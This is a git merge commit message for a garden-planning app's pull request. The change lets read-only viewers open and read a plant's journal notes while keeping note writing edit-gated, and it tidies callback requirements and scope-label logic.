Merge pull request 'Let plop notes be written from the UI (#85 item 5)' (#123) from feat/plop-journal-notes into main

- The "add note" affordance no longer hides from viewers (it claimed
  parity with the bed inspector but gated on !readOnly). A viewer now sees
  "📓 Notes about this plant" and can open the plop's journal to read it;
  the composer stays edit-gated, so they can't write. Real parity now.
- onScopePlantingChange is required, matching onScopeChange (its bed twin),
  so a caller can't pass a plop scope with no way to clear it. Dropped the
  now-dead guard on the "Show all" button.
- Pulled the plop-over-bed scope-label priority into one `scopeLabel`,
  shared by the filter's sibling logic and the composer, so they can't
  drift; trimmed the invariant comment that was restated a third time.
